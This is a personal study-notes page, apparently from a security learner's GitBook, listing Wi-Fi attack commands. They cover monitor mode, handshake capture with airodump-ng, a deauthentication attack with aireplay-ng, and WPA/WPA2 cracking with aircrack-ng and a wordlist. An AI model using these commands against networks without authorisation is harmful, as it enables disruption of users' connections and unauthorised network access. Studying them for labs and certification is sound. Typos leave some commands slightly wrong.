# Disboard #
  • Reconnaissance
    • Quick Guide
    • Ports and Protocols
    • Passive Reconnaissance
    • Active Reconnaissance
  • Enumeration
    • Password Cracking
    • Hydra
    • Wireshark
    • Snort
    • Steganography
  • Web
    • OWASP Top 10
    • OWASP API
    • SQL Injection
      • Microsoft SQL Injection
    • Cross Site Scripting
    • Browser Vulnerabilities
    • Fuzzing
  • Linux
    • Privilege Escalation
    • Docker
    • Program Life Cycle
  • Windows
    • Privilege Escalation
    • Active Directory
    • Powershell
  • Event Logs
    • Sysmon
  • Exploitation
    • Shells
      • Upgrading Shells
    • Metasploit
      • Meterpreter
    • KOTH
    • Source Code Review
  • Hack the Box
    • ARCHETYPE
    • BASE
    • BASHED
    • EXPLORE
    • NIBBLES
  • Try Hack Me
    • ADVENTURE TIME
    • HACKFINITY
    • MOTHER'S SECRET
    • OFFSEC
    • POSTEXPLOIT
    • ROASTED
    • TEMPEST
    • TRAVERSE
  • CompTIA
    • Network
      • 1.0 Networking Fundamentals
      • 2.0 Network Implementations
      • 3.0 Network Operations
      • 4.0 Network Security
      • 5.0 Network Troubleshooting
    • PenTest
  • SIEM
    • Splunk
    • Elastic
  • Wireless
    • Wi-Fi Hacking
  • Other
    • PicoCTF
    • SSH Tunneling
    • Life Hacks
    • My Pokémon API
    • Github
Powered by GitBook
On this page
  1. Wireless

Wi-Fi Hacking

PreviousElasticNextPicoCTF

Last updated 6 months ago

List of commands:

  • iw dev - Shows wireless devices nad their configurations

  • sudo iw dev $INTERFACE scan - Scans the area for available wireless networks

  • sudo ip link et dev $INTERFACE [up/down] - Turns device on or off

  • sudo iw dev $INTERFACE set type monitor - Sets interface to be on monitor mode

  • sudo iw dev $INTERFACE info - Gives full info on interface

  • sudo airodump-ng $INTERFACE - Provides a list of nearby wifi networks with details like channel

  • sudo airodump-ng -c $CHANNEL --bssid $BSSID_MAC -w $OUTPUT_FILES $INTERFACE - Targets network channel and captures traffic

  • sudo aireplay-ng -0 1 -a $BSSID_MAC -c $BSSID_CLIENT $INTERFACE - Sends deauthentication attack to a wifi client

  • sudo aircrack-ng -a 2 -b $BSSID_MAC -w $ROCKYOU $OUTPUT_CAP - Brute forces WPA/WPA2 wifi key using WPA handshake and dictionary

  • wpa_passphrase $SSID $PASSPHRASE > $KEYFILE - Generate a key file for accessing a wifi network

  • sudo wpa_supplicant -B -c $KEYFILE -i $INTERFACE - Connect interface to wifi network